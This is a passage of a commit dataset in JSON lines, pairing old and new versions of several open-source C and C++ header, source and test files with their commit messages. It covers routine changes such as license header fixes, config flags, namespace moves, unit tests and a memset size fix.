{"commit":"48fdf76623cdc40fdf94eae554eb13b5c9c512c9","old_file":"src\/mlt++\/config.h","new_file":"src\/mlt++\/config.h","old_contents":"\/**\n * config.h - Convenience header file for all mlt++ objects\n * Copyright (C) 2004-2005 Charles Yates\n * Author: Charles Yates <charles.yates@pandora.be>\n *\n * This program is free software; you can redistribute it and\/or modify\n * it under the terms of the GNU Lesser General Public License as published\n * by the Free Software Foundation; either version 2 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program; if not, write to the Free Software Foundation,\n * Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.\n *\/\n\n#ifndef MLTPP_CONFIG_H_\n#define MLTPP_CONFIG_H_\n\n#ifdef WIN32\n    #ifdef MLTPP_EXPORTS\n        #define MLTPP_DECLSPEC __declspec( dllexport )\n    #else\n        #define MLTPP_DECLSPEC __declspec( dllimport )\n    #endif\n#else\n\t#define MLTPP_DECLSPEC\n#endif\n\n#endif\n","new_contents":"\/**\n * config.h - Convenience header file for all mlt++ objects\n * Copyright (C) 2004-2005 Charles Yates\n * Author: Charles Yates <charles.yates@pandora.be>\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA\n *\/\n\n#ifndef MLTPP_CONFIG_H_\n#define MLTPP_CONFIG_H_\n\n#ifdef WIN32\n    #ifdef MLTPP_EXPORTS\n        #define MLTPP_DECLSPEC __declspec( dllexport )\n    #else\n        #define MLTPP_DECLSPEC __declspec( dllimport )\n    #endif\n#else\n\t#define MLTPP_DECLSPEC\n#endif\n\n#endif\n","subject":"Fix license in comment header.","message":"Fix license in comment header.\n\nSigned-off-by: Dan Dennedy <2591e5f46f28d303f9dc027d475a5c60d8dea17a@dennedy.org>\n","lang":"C","license":"lgpl-2.1","repos":"ttill\/MLT-roto-tracking,xzhavilla\/mlt,j-b-m\/mlt,ttill\/MLT-roto-tracking,rayl\/MLT,wideioltd\/mlt,ttill\/MLT-roto-tracking,rayl\/MLT,ttill\/MLT-roto-tracking,xzhavilla\/mlt,wideioltd\/mlt,mltframework\/mlt,ttill\/MLT,xzhavilla\/mlt,xzhavilla\/mlt,zzhhui\/mlt,zzhhui\/mlt,xzhavilla\/mlt,siddharudh\/mlt,ttill\/MLT-roto,ttill\/MLT-roto,rayl\/MLT,wideioltd\/mlt,gmarco\/mlt-orig,anba8005\/mlt,gmarco\/mlt-orig,wideioltd\/mlt,ttill\/MLT-roto-tracking,gmarco\/mlt-orig,wideioltd\/mlt,ttill\/MLT,zzhhui\/mlt,ttill\/MLT,ttill\/MLT-roto,mltframework\/mlt,anba8005\/mlt,zzhhui\/mlt,xzhavilla\/mlt,xzhavilla\/mlt,ttill\/MLT,mltframework\/mlt,mltframework\/mlt,j-b-m\/mlt,ttill\/MLT-roto-tracking,anba8005\/mlt,gmarco\/mlt-orig,rayl\/MLT,mltframework\/mlt,rayl\/MLT,gmarco\/mlt-orig,anba8005\/mlt,rayl\/MLT,ttill\/MLT-roto,ttill\/MLT,xzhavilla\/mlt,j-b-m\/mlt,ttill\/MLT-roto,ttill\/MLT-roto-tracking,ttill\/MLT-roto,siddharudh\/mlt,j-b-m\/mlt,wideioltd\/mlt,ttill\/MLT-roto,ttill\/MLT-roto-tracking,siddharudh\/mlt,ttill\/MLT-roto-tracking,gmarco\/mlt-orig,zzhhui\/mlt,ttill\/MLT,ttill\/MLT,gmarco\/mlt-orig,rayl\/MLT,ttill\/MLT-roto,anba8005\/mlt,j-b-m\/mlt,zzhhui\/mlt,zzhhui\/mlt,ttill\/MLT,siddharudh\/mlt,j-b-m\/mlt,zzhhui\/mlt,j-b-m\/mlt,siddharudh\/mlt,siddharudh\/mlt,zzhhui\/mlt,xzhavilla\/mlt,mltframework\/mlt,siddharudh\/mlt,anba8005\/mlt,mltframework\/mlt,siddharudh\/mlt,ttill\/MLT,wideioltd\/mlt,mltframework\/mlt,mltframework\/mlt,rayl\/MLT,mltframework\/mlt,ttill\/MLT-roto,gmarco\/mlt-orig,anba8005\/mlt,wideioltd\/mlt,j-b-m\/mlt,j-b-m\/mlt,siddharudh\/mlt,wideioltd\/mlt,anba8005\/mlt,gmarco\/mlt-orig,j-b-m\/mlt,anba8005\/mlt"}
{"commit":"1a36fe45121967f5dd2f94e673d6403339cd6e62","old_file":"include\/config\/SkUserConfigManual.h","new_file":"include\/config\/SkUserConfigManual.h","old_contents":"\/*\n * Copyright 2017 Google Inc.\n *\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n\n#ifndef SkUserConfigManual_DEFINED\n#define SkUserConfigManual_DEFINED\n  #define GR_TEST_UTILS 1\n  #define SK_BUILD_FOR_ANDROID_FRAMEWORK\n  #define SK_DEFAULT_FONT_CACHE_LIMIT   (768 * 1024)\n  #define SK_DEFAULT_GLOBAL_DISCARDABLE_MEMORY_POOL_SIZE (512 * 1024)\n  #define SK_USE_FREETYPE_EMBOLDEN\n\n  \/\/ Disable these Ganesh features\n  #define SK_DISABLE_EXPLICIT_GPU_RESOURCE_ALLOCATION\n  #define SK_DISABLE_RENDER_TARGET_SORTING\n  \/\/ Check error is expensive. HWUI historically also doesn't check its allocations\n  #define GR_GL_CHECK_ALLOC_WITH_GET_ERROR 0\n\n  \/\/ Legacy flags\n  #define SK_IGNORE_GPU_DITHER\n  #define SK_SUPPORT_DEPRECATED_CLIPOPS\n  #define SK_SUPPORT_LEGACY_DRAWLOOPER\n\n  \/\/ Needed until we fix https:\/\/bug.skia.org\/2440\n  #define SK_SUPPORT_LEGACY_CLIPTOLAYERFLAG\n  #define SK_SUPPORT_LEGACY_EMBOSSMASKFILTER\n  #define SK_SUPPORT_LEGACY_AA_CHOICE\n  #define SK_SUPPORT_LEGACY_AAA_CHOICE\n\n  #define SK_DISABLE_DAA  \/\/ skbug.com\/6886\n\n#endif \/\/ SkUserConfigManual_DEFINED\n","new_contents":"\/*\n * Copyright 2017 Google Inc.\n *\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n\n#ifndef SkUserConfigManual_DEFINED\n#define SkUserConfigManual_DEFINED\n  #define GR_TEST_UTILS 1\n  #define SK_BUILD_FOR_ANDROID_FRAMEWORK\n  #define SK_DEFAULT_FONT_CACHE_LIMIT   (768 * 1024)\n  #define SK_DEFAULT_GLOBAL_DISCARDABLE_MEMORY_POOL_SIZE (512 * 1024)\n  #define SK_USE_FREETYPE_EMBOLDEN\n\n  \/\/ Disable these Ganesh features\n  #define SK_DISABLE_EXPLICIT_GPU_RESOURCE_ALLOCATION\n  #define SK_DISABLE_RENDER_TARGET_SORTING\n  \/\/ Check error is expensive. HWUI historically also doesn't check its allocations\n  #define GR_GL_CHECK_ALLOC_WITH_GET_ERROR 0\n\n  \/\/ Legacy flags\n  #define SK_IGNORE_GPU_DITHER\n  #define SK_SUPPORT_DEPRECATED_CLIPOPS\n  #define SK_SUPPORT_LEGACY_DRAWLOOPER\n  #define SK_IGNORE_LINEAR_METRICS_FIX\n\n  \/\/ Needed until we fix https:\/\/bug.skia.org\/2440\n  #define SK_SUPPORT_LEGACY_CLIPTOLAYERFLAG\n  #define SK_SUPPORT_LEGACY_EMBOSSMASKFILTER\n  #define SK_SUPPORT_LEGACY_AA_CHOICE\n  #define SK_SUPPORT_LEGACY_AAA_CHOICE\n\n  #define SK_DISABLE_DAA  \/\/ skbug.com\/6886\n\n#endif \/\/ SkUserConfigManual_DEFINED\n","subject":"Add SK_IGNORE_LINEAR_METRICS_FIX flag for Skia.","message":"Add SK_IGNORE_LINEAR_METRICS_FIX flag for Skia.\n\nThis will hold out a Skia change to glyph metric calculation until the\nframework can be updated to handle it.\n\nTest: Adds build flag, does nothing right now.\nChange-Id: Ibce90e396002ea493cdf545857e0b84f13738ff6\n","lang":"C","license":"bsd-3-clause","repos":"aosp-mirror\/platform_external_skia,aosp-mirror\/platform_external_skia,aosp-mirror\/platform_external_skia,aosp-mirror\/platform_external_skia,aosp-mirror\/platform_external_skia,aosp-mirror\/platform_external_skia,aosp-mirror\/platform_external_skia,aosp-mirror\/platform_external_skia,aosp-mirror\/platform_external_skia,aosp-mirror\/platform_external_skia"}
{"commit":"324a12829b108130e3d3c5ae27cca2f35186e844","old_file":"src\/util\/logging.c","new_file":"src\/util\/logging.c","old_contents":"\n#include <stdlib.h>\n\n#include \"logging.h\"\n\nchar out[512];\ndebug_mask_t debug_mask = 0;\nstatic int debug_init = 0;\n\n\nchar *print_hex(uint8_t *buf, int count)\n{\n    memset(out, 0, count);\n\n    int zz;\n    for(zz = 0; zz < count; zz++) {\n        sprintf(out + (zz * 2), \"%02X\", buf[zz]);\n    }\n\n    return out;\n}\n\nvoid debug(char *file, int line, uint32_t mask, const char *format, ...)\n{\n    char *env;\n\n    \/\/ Only call getenv() once.\n    if (!debug_init) {\n        debug_init = 1;\n\n        if ((env = getenv(\"BD_DEBUG_MASK\"))) {\n            debug_mask = atoi(env);\n        } else {\n            debug_mask = 0xffff;\n        }\n    }\n\n    if (mask & debug_mask) {\n        char buffer[512];\n        va_list args;\n\n        va_start(args, format);\n        vsprintf(buffer, format, args);\n        va_end(args);\n\n        fprintf(stderr, \"%s:%d: %s\", file, line, buffer);\n    }\n}\n","new_contents":"\n#include <stdlib.h>\n\n#include \"logging.h\"\n\nchar out[512];\ndebug_mask_t debug_mask = 0;\nstatic int debug_init = 0;\n\n\nchar *print_hex(uint8_t *buf, int count)\n{\n    memset(out, 0, sizeof(out));\n\n    int zz;\n    for(zz = 0; zz < count; zz++) {\n        sprintf(out + (zz * 2), \"%02X\", buf[zz]);\n    }\n\n    return out;\n}\n\nvoid debug(char *file, int line, uint32_t mask, const char *format, ...)\n{\n    char *env;\n\n    \/\/ Only call getenv() once.\n    if (!debug_init) {\n        debug_init = 1;\n\n        if ((env = getenv(\"BD_DEBUG_MASK\"))) {\n            debug_mask = atoi(env);\n        } else {\n            debug_mask = 0xffff;\n        }\n    }\n\n    if (mask & debug_mask) {\n        char buffer[512];\n        va_list args;\n\n        va_start(args, format);\n        vsprintf(buffer, format, args);\n        va_end(args);\n\n        fprintf(stderr, \"%s:%d: %s\", file, line, buffer);\n    }\n}\n","subject":"Fix potential data corruption bug","message":"Fix potential data corruption bug\n","lang":"C","license":"lgpl-2.1","repos":"mwgoldsmith\/aacs,rraptorr\/libaacs,ShiftMediaProject\/libaacs,ShiftMediaProject\/libaacs,mwgoldsmith\/aacs,zxlooong\/libaacs,rraptorr\/libaacs,zxlooong\/libaacs"}
{"commit":"16bdf0090336003786974288f7655d8fcd50c900","old_file":"src\/trainer\/training_failure.h","new_file":"src\/trainer\/training_failure.h","old_contents":"\/\/ This file is part of UDPipe <http:\/\/github.com\/ufal\/udpipe\/>.\n\/\/\n\/\/ Copyright 2016 Institute of Formal and Applied Linguistics, Faculty of\n\/\/ Mathematics and Physics, Charles University in Prague, Czech Republic.\n\/\/\n\/\/ This Source Code Form is subject to the terms of the Mozilla Public\n\/\/ License, v. 2.0. If a copy of the MPL was not distributed with this\n\/\/ file, You can obtain one at http:\/\/mozilla.org\/MPL\/2.0\/.\n\n#pragma once\n\n#include <sstream>\n#include <stdexcept>\n\n#include \"common.h\"\n\nnamespace ufal {\nnamespace udpipe {\n\nclass training_error : public runtime_error {\n public:\n  training_error();\n\n  static ostringstream message_collector;\n};\n\n#define training_failure(message) throw (training_error::message_collector << message, training_error())\n\n} \/\/ namespace udpipe\n} \/\/ namespace ufal\n","new_contents":"\/\/ This file is part of UDPipe <http:\/\/github.com\/ufal\/udpipe\/>.\n\/\/\n\/\/ Copyright 2016 Institute of Formal and Applied Linguistics, Faculty of\n\/\/ Mathematics and Physics, Charles University in Prague, Czech Republic.\n\/\/\n\/\/ This Source Code Form is subject to the terms of the Mozilla Public\n\/\/ License, v. 2.0. If a copy of the MPL was not distributed with this\n\/\/ file, You can obtain one at http:\/\/mozilla.org\/MPL\/2.0\/.\n\n#pragma once\n\n#include <sstream>\n#include <stdexcept>\n\n#include \"common.h\"\n\nnamespace ufal {\nnamespace udpipe {\nnamespace utils {\n\nclass training_error : public runtime_error {\n public:\n  training_error();\n\n  static ostringstream message_collector;\n};\n\n#define training_failure(message) throw (training_error::message_collector << message, training_error())\n\n} \/\/ namespace utils\n} \/\/ namespace udpipe\n} \/\/ namespace ufal\n","subject":"Add training_error to utils namespace.","message":"Add training_error to utils namespace.\n\nThe training_error is used by binary_encoder, which includes only\nutils\/common.h -- that opens std only in utils namespace, not in\nwhole ufal::udpipe.\n","lang":"C","license":"mpl-2.0","repos":"ufal\/udpipe,ufal\/udpipe,ufal\/udpipe,ufal\/udpipe,ufal\/udpipe,ufal\/udpipe,ufal\/udpipe,ufal\/udpipe,ufal\/udpipe,ufal\/udpipe"}
{"commit":"8277a4cdfd0904aa78d144716674aa879bc8ddf8","old_file":"src\/test-brightness-manager.c","new_file":"src\/test-brightness-manager.c","old_contents":"#include <dalston\/dalston-brightness-manager.h>\n\nstatic void\n_manager_num_levels_changed_cb (DalstonBrightnessManager *manager,\n                                gint                      num_levels)\n{\n  g_debug (G_STRLOC \": Num levels changed: %d\",\n           num_levels);\n}\n\nint\nmain (int    argc,\n      char **argv)\n{\n  GMainLoop *loop;\n  DalstonBrightnessManager *manager;\n\n  g_type_init ();\n  loop = g_main_loop_new (NULL, TRUE);\n\n  manager = dalston_brightness_manager_new ();\n\n  g_signal_connect (manager,\n                    \"num-levels-changed\",\n                    _manager_num_levels_changed_cb,\n                    NULL);\n\n  g_main_loop_run (loop);\n}\n","new_contents":"#include <dalston\/dalston-brightness-manager.h>\n\nstatic void\n_manager_num_levels_changed_cb (DalstonBrightnessManager *manager,\n                                gint                      num_levels)\n{\n  g_debug (G_STRLOC \": Num levels changed: %d\",\n           num_levels);\n}\n\nstatic void\n_brightness_changed_cb (DalstonBrightnessManager *manager,\n                        gint                      value)\n{\n  g_debug (G_STRLOC \": Brightness: %d\", value);\n}\n\nint\nmain (int    argc,\n      char **argv)\n{\n  GMainLoop *loop;\n  DalstonBrightnessManager *manager;\n\n  g_type_init ();\n  loop = g_main_loop_new (NULL, TRUE);\n\n  manager = dalston_brightness_manager_new ();\n\n  g_signal_connect (manager,\n                    \"num-levels-changed\",\n                    _manager_num_levels_changed_cb,\n                    NULL);\n\n  dalston_brightness_manager_start_monitoring (manager);\n\n  g_signal_connect (manager,\n                    \"brightness-changed\",\n                    _brightness_changed_cb,\n                    NULL);\n  g_main_loop_run (loop);\n}\n","subject":"Update the test to listen for brightness changed.","message":"Update the test to listen for brightness changed.\n","lang":"C","license":"lgpl-2.1","repos":"meego-netbook-ux\/meego-panel-devices,meego-netbook-ux\/meego-panel-devices,meego-netbook-ux\/meego-panel-devices"}
{"commit":"ec21d12e8b0d2fd1ace564304f3384d1a76819e4","old_file":"test2\/inline\/inline_addr_arg.c","new_file":"test2\/inline\/inline_addr_arg.c","old_contents":"","new_contents":"\/\/ RUN: %ocheck 3 %s\n\n__attribute((always_inline))\ninline f(int x)\n{\n\tint i = x;\n\t&x;\n\ti++;\n\treturn i;\n}\n\nmain()\n{\n\tint added = 5;\n\n\tadded = f(2);\n\n\treturn added;\n}\n","subject":"Test for lvalue-argument function inlinling","message":"Test for lvalue-argument function inlinling\n","lang":"C","license":"mit","repos":"8l\/ucc-c-compiler,8l\/ucc-c-compiler,8l\/ucc-c-compiler,8l\/ucc-c-compiler"}
{"commit":"8938e5782969537a9574862a73de7dac41aad0c6","old_file":"tests\/test_queue_using_array.c","new_file":"tests\/test_queue_using_array.c","old_contents":"","new_contents":"#include <check.h>\n#include \"..\/src\/queue_using_array\/queue.h\"\n\nqueue q;\n\nvoid setup() {\n    init( &q );\n}\n\nvoid teardown() {\n}\n\nSTART_TEST( test_normal_ops )\n{\n    enqueue( &q, 10 );\n    enqueue( &q, 12 );\n\n    ck_assert_int_eq( dequeue( &q ), 10 );\n    ck_assert_int_eq( dequeue( &q ), 12 );\n}\nEND_TEST\n\nSTART_TEST( test_abnormal_enqueue )\n{\n    enqueue( &q, 12 );\n    enqueue( &q, 14 );\n    enqueue( &q, 16 );\n    enqueue( &q, 18 );\n    enqueue( &q, 10 );\n    ck_assert_int_eq( enqueue( &q, 15 ), -2 );\n}\nEND_TEST\n\nSTART_TEST( test_abnormal_dequeue )\n{\n    enqueue( &q, 12 );\n\n    ck_assert_int_eq( dequeue( &q ), 12 );\n    ck_assert_int_eq( dequeue( &q ), -3 );\n}\nEND_TEST\n\nSTART_TEST( test_null )\n{\n    ck_assert_int_eq( enqueue( NULL, 10 ), -1 );\n    ck_assert_int_eq( dequeue( NULL ), -1 );\n    ck_assert_int_eq( peek( NULL ), -1 );\n    ck_assert_int_eq( init( NULL ), -1 );\n}\nEND_TEST\n\nSuite * queue_suite(void)\n{\n    Suite *s;\n    TCase *tc_core, *tc_abnormal;\n\n    s = suite_create(\"Queue\");\n\n    \/* Core test case *\/\n    tc_core = tcase_create(\"Core\");\n    \/* Abnormal test case *\/\n    tc_abnormal = tcase_create(\"Abnormal\");\n\n    tcase_add_checked_fixture(tc_core, setup, teardown);\n    tcase_add_checked_fixture(tc_abnormal, setup, teardown);\n    tcase_add_test(tc_core, test_normal_ops);\n    tcase_add_test(tc_abnormal, test_abnormal_enqueue);\n    tcase_add_test(tc_abnormal, test_abnormal_dequeue);\n    tcase_add_test(tc_abnormal, test_null);\n    suite_add_tcase(s, tc_core);\n    suite_add_tcase(s, tc_abnormal);\n\n    return s;\n}\n\nint main()\n{\n    int number_failed;\n    Suite *s;\n    SRunner *sr;\n\n    s = queue_suite();\n    sr = srunner_create(s);\n\n    srunner_run_all(sr, CK_NORMAL);\n    number_failed = srunner_ntests_failed(sr);\n    srunner_free(sr);\n    return (number_failed == 0) ? EXIT_SUCCESS : EXIT_FAILURE;\n}\n","subject":"Test for queue using array","message":"Test for queue using array\n","lang":"C","license":"mit","repos":"TejasR\/data-structures-in-c,TejasR\/data-structures-in-c"}
{"commit":"7817e2e0a03e4f9d469ae54c89297c413d4d5b01","old_file":"src\/unit_VEHICLE\/subsys\/ChTerrain.h","new_file":"src\/unit_VEHICLE\/subsys\/ChTerrain.h","old_contents":"\/\/ =============================================================================\n\/\/ PROJECT CHRONO - http:\/\/projectchrono.org\n\/\/\n\/\/ Copyright (c) 2014 projectchrono.org\n\/\/ All right reserved.\n\/\/\n\/\/ Use of this source code is governed by a BSD-style license that can be found\n\/\/ in the LICENSE file at the top level of the distribution and at\n\/\/ http:\/\/projectchrono.org\/license-chrono.txt.\n\/\/\n\/\/ =============================================================================\n\/\/ Authors: Radu Serban\n\/\/ =============================================================================\n\/\/\n\/\/ Base class for a terrain subsystem.\n\/\/\n\/\/ =============================================================================\n\n#ifndef CH_TERRAIN_H\n#define CH_TERRAIN_H\n\n#include \"core\/ChShared.h\"\n\n#include \"subsys\/ChApiSubsys.h\"\n\n\nnamespace chrono {\n\n\nclass CH_SUBSYS_API ChTerrain : public ChShared {\npublic:\n  ChTerrain() {}\n  virtual ~ChTerrain() {}\n\n  virtual void Update(double time) {}\n  virtual void Advance(double step) {}\n\n  virtual double GetHeight(double x, double y) const = 0;\n};\n\n\n} \/\/ end namespace chrono\n\n\n#endif\n","new_contents":"\/\/ =============================================================================\n\/\/ PROJECT CHRONO - http:\/\/projectchrono.org\n\/\/\n\/\/ Copyright (c) 2014 projectchrono.org\n\/\/ All right reserved.\n\/\/\n\/\/ Use of this source code is governed by a BSD-style license that can be found\n\/\/ in the LICENSE file at the top level of the distribution and at\n\/\/ http:\/\/projectchrono.org\/license-chrono.txt.\n\/\/\n\/\/ =============================================================================\n\/\/ Authors: Radu Serban\n\/\/ =============================================================================\n\/\/\n\/\/ Base class for a terrain subsystem.\n\/\/\n\/\/ =============================================================================\n\n#ifndef CH_TERRAIN_H\n#define CH_TERRAIN_H\n\n#include \"core\/ChShared.h\"\n#include \"core\/ChVector.h\"\n\n#include \"subsys\/ChApiSubsys.h\"\n\n\nnamespace chrono {\n\n\nclass CH_SUBSYS_API ChTerrain : public ChShared {\npublic:\n  ChTerrain() {}\n  virtual ~ChTerrain() {}\n\n  virtual void Update(double time) {}\n  virtual void Advance(double step) {}\n\n  virtual double GetHeight(double x, double y) const = 0;\n\n  \/\/\/\/ TODO: make this a pure virtual function...\n  virtual ChVector<> GetNormal(double x, double y) const { return ChVector<>(0, 0, 1); }\n};\n\n\n} \/\/ end namespace chrono\n\n\n#endif\n","subject":"Add normal information to terrain.","message":"Add normal information to terrain.\n","lang":"C","license":"bsd-3-clause","repos":"Milad-Rakhsha\/chrono,amelmquist\/chrono,armanpazouki\/chrono,rserban\/chrono,armanpazouki\/chrono,amelmquist\/chrono,Milad-Rakhsha\/chrono,Milad-Rakhsha\/chrono,jcmadsen\/chrono,dariomangoni\/chrono,projectchrono\/chrono,Milad-Rakhsha\/chrono,tjolsen\/chrono,Bryan-Peterson\/chrono,andrewseidl\/chrono,rserban\/chrono,projectchrono\/chrono,tjolsen\/chrono,jcmadsen\/chrono,rserban\/chrono,armanpazouki\/chrono,tjolsen\/chrono,Milad-Rakhsha\/chrono,tjolsen\/chrono,jcmadsen\/chrono,amelmquist\/chrono,rserban\/chrono,amelmquist\/chrono,amelmquist\/chrono,Bryan-Peterson\/chrono,andrewseidl\/chrono,jcmadsen\/chrono,rserban\/chrono,projectchrono\/chrono,jcmadsen\/chrono,andrewseidl\/chrono,jcmadsen\/chrono,dariomangoni\/chrono,dariomangoni\/chrono,tjolsen\/chrono,projectchrono\/chrono,armanpazouki\/chrono,Milad-Rakhsha\/chrono,dariomangoni\/chrono,projectchrono\/chrono,armanpazouki\/chrono,rserban\/chrono,Bryan-Peterson\/chrono,jcmadsen\/chrono,Bryan-Peterson\/chrono,dariomangoni\/chrono,andrewseidl\/chrono,amelmquist\/chrono,rserban\/chrono,andrewseidl\/chrono,dariomangoni\/chrono,Bryan-Peterson\/chrono,projectchrono\/chrono,armanpazouki\/chrono"}
{"commit":"eff661b69750fba61fd49e19c1918eac139f5e7d","old_file":"KSPhotoBrowser\/KSPhotoItem.h","new_file":"KSPhotoBrowser\/KSPhotoItem.h","old_contents":"\/\/\n\/\/  KSPhotoItem.h\n\/\/  KSPhotoBrowser\n\/\/\n\/\/  Created by Kyle Sun on 12\/25\/16.\n\/\/  Copyright © 2016 Kyle Sun. All rights reserved.\n\/\/\n\n#import <UIKit\/UIKit.h>\n\nNS_ASSUME_NONNULL_BEGIN\n\n@interface KSPhotoItem : NSObject\n\n@property (nonatomic, strong, readonly) UIView *sourceView;\n@property (nonatomic, strong, readonly) UIImage *thumbImage;\n@property (nonatomic, strong, readonly) UIImage *image;\n@property (nonatomic, strong, readonly) NSURL *imageUrl;\n@property (nonatomic, assign) BOOL finished;\n\n- (instancetype)initWithSourceView:(UIView *)view\n                        thumbImage:(UIImage *)image\n                          imageUrl:(NSURL *)url;\n- (instancetype)initWithSourceView:(UIImageView *)view\n                          imageUrl:(NSURL *)url;\n- (instancetype)initWithSourceView:(UIImageView *)view\n                             image:(UIImage *)image;\n\n+ (instancetype)itemWithSourceView:(UIView *)view\n                         thumbImage:(UIImage *)image\n                           imageUrl:(NSURL *)url;\n+ (instancetype)itemWithSourceView:(UIImageView *)view\n                           imageUrl:(NSURL *)url;\n+ (instancetype)itemWithSourceView:(UIImageView *)view\n                              image:(UIImage *)image;\n\n@end\n\nNS_ASSUME_NONNULL_END\n","new_contents":"\/\/\n\/\/  KSPhotoItem.h\n\/\/  KSPhotoBrowser\n\/\/\n\/\/  Created by Kyle Sun on 12\/25\/16.\n\/\/  Copyright © 2016 Kyle Sun. All rights reserved.\n\/\/\n\n#import <UIKit\/UIKit.h>\n\n@interface KSPhotoItem : NSObject\n\n@property (nonatomic, strong, readonly, nullable) UIView *sourceView;\n@property (nonatomic, strong, readonly, nullable) UIImage *thumbImage;\n@property (nonatomic, strong, readonly, nullable) UIImage *image;\n@property (nonatomic, strong, readonly, nullable) NSURL *imageUrl;\n@property (nonatomic, assign) BOOL finished;\n\n- (nonnull instancetype)initWithSourceView:(nullable UIView *)view\n                                thumbImage:(nullable UIImage *)image\n                                  imageUrl:(nullable NSURL *)url;\n- (nonnull instancetype)initWithSourceView:(nullable UIImageView * )view\n                                  imageUrl:(nullable NSURL *)url;\n- (nonnull instancetype)initWithSourceView:(nullable UIImageView *)view\n                                     image:(nullable UIImage *)image;\n\n+ (nonnull instancetype)itemWithSourceView:(nullable UIView *)view\n                                thumbImage:(nullable UIImage *)image\n                                  imageUrl:(nullable NSURL *)url;\n+ (nonnull instancetype)itemWithSourceView:(nullable UIImageView *)view\n                                  imageUrl:(nullable NSURL *)url;\n+ (nonnull instancetype)itemWithSourceView:(nullable UIImageView *)view\n                                     image:(nullable UIImage *)image;\n\n@end\n","subject":"Support nullable Item sourceView in Swift.","message":"Support nullable Item sourceView in Swift.\n","lang":"C","license":"mit","repos":"skx926\/KSPhotoBrowser"}
{"commit":"a82eba7c6c263e67ad58f5211dbc6d32d3963cb3","old_file":"contrib\/bind\/port\/freebsd\/include\/port_after.h","new_file":"contrib\/bind\/port\/freebsd\/include\/port_after.h","old_contents":"#define CAN_RECONNECT\n#define USE_POSIX\n#define POSIX_SIGNALS\n#define USE_UTIME\n#define USE_WAITPID\n#define HAVE_GETRUSAGE\n#define HAVE_FCHMOD\n#define NEED_PSELECT\n#define HAVE_SA_LEN\n#define USE_LOG_CONS\n#define HAVE_CHROOT\n#define CAN_CHANGE_ID\n\n#define _TIMEZONE timezone\n\n#define PORT_NONBLOCK\tO_NONBLOCK\n#define PORT_WOULDBLK\tEWOULDBLOCK\n#define WAIT_T\t\tint\n#define KSYMS\t\t\"\/kernel\"\n#define KMEM\t\t\"\/dev\/kmem\"\n#define UDPSUM\t\t\"udpcksum\"\n\n\/*\n * We need to know the IPv6 address family number even on IPv4-only systems.\n * Note that this is NOT a protocol constant, and that if the system has its\n * own AF_INET6, different from ours below, all of BIND's libraries and\n * executables will need to be recompiled after the system <sys\/socket.h>\n * has had this type added.  The type number below is correct on most BSD-\n * derived systems for which AF_INET6 is defined.\n *\/\n#ifndef AF_INET6\n#define AF_INET6\t24\n#endif\n","new_contents":"#define CAN_RECONNECT\n#define USE_POSIX\n#define POSIX_SIGNALS\n#define USE_UTIME\n#define USE_WAITPID\n#define HAVE_GETRUSAGE\n#define HAVE_FCHMOD\n#define NEED_PSELECT\n#define HAVE_SA_LEN\n#define SETPWENT_VOID\n#define RLIMIT_TYPE rlim_t\n#define RLIMIT_LONGLONG\n#define RLIMIT_FILE_INFINITY\n#define HAVE_CHROOT\n#define CAN_CHANGE_ID\n\n#define _TIMEZONE timezone\n\n#define PORT_NONBLOCK\tO_NONBLOCK\n#define PORT_WOULDBLK\tEWOULDBLOCK\n#define WAIT_T\t\tint\n#define KSYMS\t\t\"\/kernel\"\n#define KMEM\t\t\"\/dev\/kmem\"\n#define UDPSUM\t\t\"udpcksum\"\n\n\/*\n * We need to know the IPv6 address family number even on IPv4-only systems.\n * Note that this is NOT a protocol constant, and that if the system has its\n * own AF_INET6, different from ours below, all of BIND's libraries and\n * executables will need to be recompiled after the system <sys\/socket.h>\n * has had this type added.  The type number below is correct on most BSD-\n * derived systems for which AF_INET6 is defined.\n *\/\n#ifndef AF_INET6\n#define AF_INET6\t24\n#endif\n","subject":"Update for some -current quirks, and some other things taken from the *bsd bind-8 ports. (our setpwent() was changed to return void, but our setgrent() returns int still!)","message":"Update for some -current quirks, and some other things taken from the\n*bsd bind-8 ports.\n(our setpwent() was changed to return void, but our setgrent() returns\nint still!)\n","lang":"C","license":"bsd-3-clause","repos":"jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase"}
{"commit":"a7b3191a27c28c798c64b6bc012ffc0bf680ace6","old_file":"include\/read_and_write_data.h","new_file":"include\/read_and_write_data.h","old_contents":"","new_contents":"#ifndef READ_AND_WRITE_DATA_H\n#define READ_AND_WRITE_DATA_H\n\n\t#include <objects.h>\n\tusing namespace std;\n\n\tclass FileReader {\n\tprotected:\n\t\tstring inputFile;\n\tpublic:\n\t\tFileReader(const string &inputFile) : inputFile(inputFile) {}\n\t\tvirtual bool hasNextLine() = 0;\n\t\tvirtual void readNextLine(DataInstance &instance) = 0;\n\t\t~FileReader();\n\t};\n\n\tclass FileWriter {\n\tprotected:\n\t\tstring outputFile;\n\tpublic:\n\t\tFileWriter(const string &outputFile) : outputFile(outputFile) {}\n\t\tvirtual void writeNextLine(DataInstance &instance) = 0;\n\t\t~FileWriter();\n\t};\n\nvoid importData(FileReader &reader, vector<DataObject> &data);\n\nvoid exportData(FileWriter &writer, const vector<DataObject> &data);\n\n#endif","subject":"Define interface for data reader and writer objects","message":"Define interface for data reader and writer objects\n\nAlso declare functions for  data import and 